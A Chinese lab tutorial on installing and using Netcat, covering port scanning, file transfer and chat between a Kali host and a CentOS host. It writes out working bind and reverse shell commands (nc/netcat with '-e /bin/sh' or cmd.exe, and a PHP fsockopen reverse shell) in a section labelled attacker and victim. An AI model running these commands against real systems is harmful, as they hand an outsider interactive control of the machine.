Netcat安装与使用(nc)

news2024/11/25 4:26:41

Netcat安装与使用

  • 1.Netcat简介
    • 1.1.Netcat安装
      • 1.1.1.安装整体流程
        • 1.1.1.1.安装依赖
        • 1.1.1.2.安装Netcat
        • 1.1.1.3.配置环境变量
        • 1.1.1.4.测试
    • 1.2.Netcat基本功能
    • 1.3.Netcat常用参数
  • 2.Netcat用法
    • 2.1.前期准备
    • 2.2.banner相关信息抓取
    • 2.3.端口扫描
      • 2.3.1.扫描指定端口
      • 2.3.2.扫描指定端口段
    • 2.4.监听端口
    • 2.5.文件传输
      • 2.5.1.监听
      • 2.5.2.发送
    • 2.6.简易聊天
    • 2.7.获取shell
      • 2.7.1.正向获取shell
        • 2.7.1.1.攻击者
        • 2.7.1.2.攻击者
      • 2.7.2.反向获取shell
        • 2.7.2.1.攻击者
        • 2.7.2.2.受害者
    • 2.8.其它获取shell
      • 2.8.1.PHP反弹shell
        • 2.8.1.1.生成反弹命令
        • 2.8.1.2.攻击者
        • 2.8.1.3.受害者

1.Netcat简介

  Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

1.1.Netcat安装

  在Linux中都是自带Netcat的,如果没有,可以使用命令进行安装,安装完可以查看一下版本。
  在centos7.X中使用yum install nc按照的不是Netcat,需要注意。
  Windows中可以自行搜索安装,官网链接:官网

1.1.1.安装整体流程

1.1.1.1.安装依赖

命令:sudo yum install glibc*

在这里插入图片描述

1.1.1.2.安装Netcat

命令:
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install

在这里插入图片描述

1.1.1.3.配置环境变量

命令:vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin

在这里插入图片描述

1.1.1.4.测试

  这里可以使用nc -v,当然也可以使用netcat,其实是因为我懒,懒得卸载重新配置。
在这里插入图片描述

1.2.Netcat基本功能

  telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。

1.3.Netcat常用参数

  Netcat它有许多参数可供使用,以下是一些常用的Netcat参数,可以根据自己的需要选择使用,同时,Netcat还有其他更多的参数,你可以通过查看其官方文档来了解。

参数介绍
-h查看帮助信息。
-l监听模式,等待其他计算机连接。
-p指定监听的端口号。
-u使用UDP协议。
-v输出详细信息,如建立连接时显示IP地址和端口号。
-n不使用DNS查找,使用IP地址进行连接。
-z将输入/输出功能关闭,进行端口扫描。
-s指定本地的IP地址。
-e在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。
-w设置超时时间,等待连接或数据的时间。
-c发送指定字节数的数据后关闭连接。
-i设置发送数据的时间间隔。
-q设置程序退出前的最大延迟时间。
-k启用TCP保持活动状态。
-r设置随机本地端口号。
-t以telnet形式应答。

2.Netcat用法

  nc常常跟着的参数有两个,一个是n、一个是v。
  v参数就是列出执行过程的详细信息,n参数就只接收IP地址,没有dns,之所以使用n参数,是因为使用命令的过程中只去传入IP,减少了nc把域名解析为IP的过程,这样可以节省时间提高效率。

2.1.前期准备

  两台主机都需要安装nc,以便后面的操作,nc很小,安装很快。
  kali主机:192.168.10.20
  centos7主机:192.168.10.30

2.2.banner相关信息抓取

kali命令:nc -nv 192.168.10.30 22

在这里插入图片描述

2.3.端口扫描

  如果想要单纯的端口扫描的话,使用其它工具比如nmap会更好,而使用nc的主要用途就是在内网获取到权限后,再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描,若初期就需要端口扫描的话,不建议使用nc。

2.3.1.扫描指定端口

kali命令:nc -v 192.168.10.30

在这里插入图片描述

2.3.2.扫描指定端口段

kali命令:nc -vz 192.168.10.30 20-100

在这里插入图片描述

2.4.监听端口

  监听本地端口,当访问该端口时会输出该信息到命令行,这里我使用一个云服务器来监听。

云服务器命令:nc -lp 8080

在这里插入图片描述

2.5.文件传输

  首先在kali上开启监听,然后在centos7中发送文件,当发送文件后,kali上监听到后,就可以将文件保存下来。
  这里不单单可以发送文件,像压缩包、目录等均可以传输,不过这里需要理解两个重定向符号 <和>,>是将文件进行输出,<是将文件进行输入。

2.5.1.监听

  这里设置kali监听,简单来说就是接收文件,并将文件保存到1.txt中。

kali命令:nc -lp 333 > 1.txt

在这里插入图片描述

2.5.2.发送

  这里设置centos7为发送,将当前目录下的2.txt发送至kail。

centos7命令:nc -vn 192.168.10.20 333 < 2.txt

在这里插入图片描述

2.6.简易聊天

  nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
  为了区分,kali上输入的是数字,而centos7上输入的字母。

kali命令:nc -lp 333
centos命令:nc -vn 192.168.10.20 333

在这里插入图片描述
在这里插入图片描述

2.7.获取shell

  这里默认kail系统为攻击者、centos7系统为受害者。

2.7.1.正向获取shell

  正向获取shell就是将centos7连接kali,centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
  这里不使用Windows测试,只是将Windows系统的命令使用介绍一下。

2.7.1.1.攻击者

kali命令:nc -lvp 4444 -e /bin/sh 
Windows命令:nc -lvp 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

2.7.1.2.攻击者

centos7命令:netcat 192.168.10.20 4444

在这里插入图片描述

2.7.2.反向获取shell

  客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。通常反向shell是最常用的。

2.7.2.1.攻击者

kali命令:nc -lvp 4444 

在这里插入图片描述

2.7.2.2.受害者

centos7命令:netcat 192.168.10.20 4444 -e /bin/sh
Windows命令:nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe

在这里插入图片描述

2.8.其它获取shell

  这里其它获取shell,就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
  官网:反弹shell命令一键生成
在这里插入图片描述

2.8.1.PHP反弹shell

2.8.1.1.生成反弹命令

  这里使用官网中配置,选择php即可生成反弹shell。

命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

在这里插入图片描述

2.8.1.2.攻击者

  这里的攻击者就是kali,按照官网上开启监听。

kali命令:nc -lvnp 7777

在这里插入图片描述

2.8.1.3.受害者

  这里的受害者就是centos7,按照官网上的生成的命令进行配置,我这里centos7上没有php,所以没成功正常情况下是能够成功的,这里我主要就是演示一下。

centos7命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/365435.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springboot启动图案的修改方法

目录 一、springboot项目启动原图 二、如何修改为你心意的图片 1、首先在resource下创建banner.txt这是默认的名字 2、在banner.txt文件中加入你自己的配置 3、生成的图案 4、推荐几个生成的网址 5、修改字符颜色 6、控制Banner的是否开启、输出位置 第一种&#xff1a; …

yarn的global安装命令不生效

问题 yarn全局安装某个依赖完成之后&#xff0c;但依赖没有生效&#xff0c;一般有两种情况导致的。 解决思路 1.yarn命令问题 yarn在全局安装某个依赖时&#xff0c;global要紧接在yarn之后&#xff0c;然后才是add yarn global add xxxx如果出现global在add之后&#xff…

JAVASE半天速通集锦(only 40点,查找and复习必看)

JAVASE 以下内容根据【尚硅谷】7天搞定Java基础&#xff0c;Java零基础极速入门 视频简单总结而成 所谓变量就是可以改变的向量存储&#xff1b;标识符即标识数据的符号——变量名&#xff1a;只有下划线和$&#xff0c;预定义关键字或保留字不给用 基本数据类型 byte 8,sho…

诚邀您体验人工智能AI

近期&#xff0c;人工智能&#xff08;AI&#xff09;领域动作频频&#xff0c;OPENAI公司Chat GPT的出现&#xff0c;标志着人工智能的研究与应用已经进入了一个崭新的发展阶段&#xff0c;国内腾讯、阿里巴巴、百度、易网、国外微软、谷歌、苹果、IBM、Amazon&#xff0c;等互…

数据结构---顺序表

专栏&#xff1a;数据结构 个人主页&#xff1a;HaiFan. 专栏简介&#xff1a;从零开始&#xff0c;数据结构&#xff01;&#xff01; 顺序表前言接口实现SListInit初始化和SListDestory销毁SListPrint打印表中的元素SListCheckCapacity检查表中空间SListPushBack尾插和SListP…

【项目设计】高并发内存池(一)[项目介绍|内存池介绍|定长内存池的实现]

&#x1f387;C学习历程&#xff1a;入门 博客主页&#xff1a;一起去看日落吗持续分享博主的C学习历程博主的能力有限&#xff0c;出现错误希望大家不吝赐教分享给大家一句我很喜欢的话&#xff1a; 也许你现在做的事情&#xff0c;暂时看不到成果&#xff0c;但不要忘记&…

IPVlan 详解

文章目录简介Ipvlan2同节点 Ns 互通Ns 内与宿主机 通信第三种方法Ns 到节点外部结论Ipvlan31. 同节点 Ns 互通Ns 内与宿主机 通信Ns 内到外部网络总结源码分析ipvlan 收包流程收包流程主要探讨使用 ipvlan 为 cni 通过虚拟网卡的实现。简介 ipvlan 和 macvlan 类似&#xff0c…

深度学习入门(六十七)循环神经网络——注意力机制

深度学习入门&#xff08;六十七&#xff09;循环神经网络——注意力机制前言循环神经网络——注意力机制课件心理学注意力机制注意力机制是显式地考虑随意线索非参注意力池化层Nadaraya-Watson 核回归&#xff1a;总结教材&#xff08;注意力提示&#xff09;1 生物学中的注意…

数据库系统:2. 关系数据库

更好的阅读体验\huge{\color{red}{更好的阅读体验}}更好的阅读体验 文章目录2.1 关系数据结构及形式化定义2.1.1 关系域笛卡尔积关系码三类关系基本关系的性质2.1.2 关系模式2.1.3 关系数据库2.1.4 关系模型的存储结构2.2 关系操作2.2.1 基本的关系操作2.2.2 关系数据语言的分类…

[visual studio]中,关于如何 【调试】 的问题 及 技巧

我们都知道&#xff0c;不会调试的程序员不是一个合格的程序员。 在初学阶段&#xff0c;由于对于语法的不熟悉&#xff0c;我们可能会写出很多语法错误&#xff0c;无法通过编译&#xff0c;编译器会报错&#xff0c;这种错误很好修改。 但是&#xff0c;随着我们不断敲代码…

当面试官问“你的SQL能力怎么样”时,怎么回答才不会掉进应聘陷阱?

在某平台看到一个比较实际的问题&#xff0c;在这里分享给职场新人。 SQL已经是职场最常用的一种编程语言&#xff0c;所以应聘技术或非技术岗位&#xff0c;都可能会被问道一个问题&#xff1a;你的SQL能力怎么样&#xff1f; 对于职场新人来说&#xff08;SQL高手可以无视下…

JavaScript事件循环

大厂面试题分享 面试题库后端面试题库 &#xff08;面试必备&#xff09; 推荐&#xff1a;★★★★★地址&#xff1a;前端面试题库一、异步执行原理1. 单线程的JavaScript我们知道&#xff0c;JavaScript是一种单线程语言&#xff0c;它主要用来与用户互动&#xff0c;以及操…

50-Jenkins-Lockable Resources插件实现资源锁定

Lockable Resources插件实现资源锁定前言安装插件使用插件资源配置Pipeline中使用前言 用来阻止多个构建在同一时间试图使用同一个资源。这里的资源可能是一个节点、一个代理节点、一组节点或代理节点的集合&#xff0c;或者仅仅是一个用于上锁的名字。如果指定的资源没有在全…

ASP.NET MVC | 创建应用程序

目录 首先 NO.1 No.2 App_Data 文件夹 Content 文件夹 Controllers 文件夹 Models 文件夹 Views 文件夹 Scripts 文件夹 最后 首先 一步一步的来&#xff0c;电脑上需要安装vs2019软件&#xff0c;版本高低无所谓&#xff0c;就是功能多少而已。 长这样的&#xff0…

无公网IP如何外网异地登录访问电商进销存系统?

电商进销存系统软件是电商企业必备的重要软件之一。 集订单管理、货品管理、采购管理等功能于一体&#xff0c;主要帮助广大电商用户实现准确、高效的订单处理及精细化的仓储管理。 电商进销存系统软件一般采用B/S结构&#xff0c;用户可在异地访问系统、查看货品库存及管理订…

第五期(2022-2023)传统行业云原生技术落地调研——金融篇 现已开启

随着数字化浪潮的来临&#xff0c;云原生技术正在改变着各行各业&#xff0c;通过IT变革驱动业务创新发展&#xff0c;促进企业自身以及产业生态的转型升级。 因此&#xff0c;灵雀云联合云原生技术实践联盟&#xff08;CNBPA&#xff09;和行业内头部厂商F5&#xff0c;共同发…

小黑子的线性代数:第一章

线代从入门到入土&#xff1a;一小黑子的线代系列&#xff1a;第一章1. 行列式1.1 二阶行列式1.2 三阶行列式1.3 小结2. 全排列与逆序数2.1 全排列2.2 逆序数3. 对换4. n阶行列式的定义5. 余子式和代数余子式6. 行列式的性质6.1 转置行列式6.2 对换变号6.3 提取公因子6.4 行列式…

华为OD机试C++实现 - 最小步骤数

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…

GEE:样本点选择教程

本文记录了在GEE平台上标记样本的技巧和代码脚本&#xff0c;样本点可以用来做土地利用分类、植被提取、水藻提取、冰川提取、农作物提取等应用中。可以应用到的方法包括随机森林&#xff08;RF&#xff09;分类&#xff0c;支持矢量机&#xff08;SVM&#xff09;分类&#xf…

JavaSE之常用关键字学习

文章目录Java常用关键字学习1、static关键字学习1.1 用法一&#xff1a;修饰成员变量1.2 用法二&#xff1a;修饰成员方法1.3 用法三&#xff1a;修饰代码块1.4 用法四&#xff1a;修饰内部类类1.5 单例设计模式2、extends关键字学习2.1 继承的特点2.2 方法重写3、this、super关…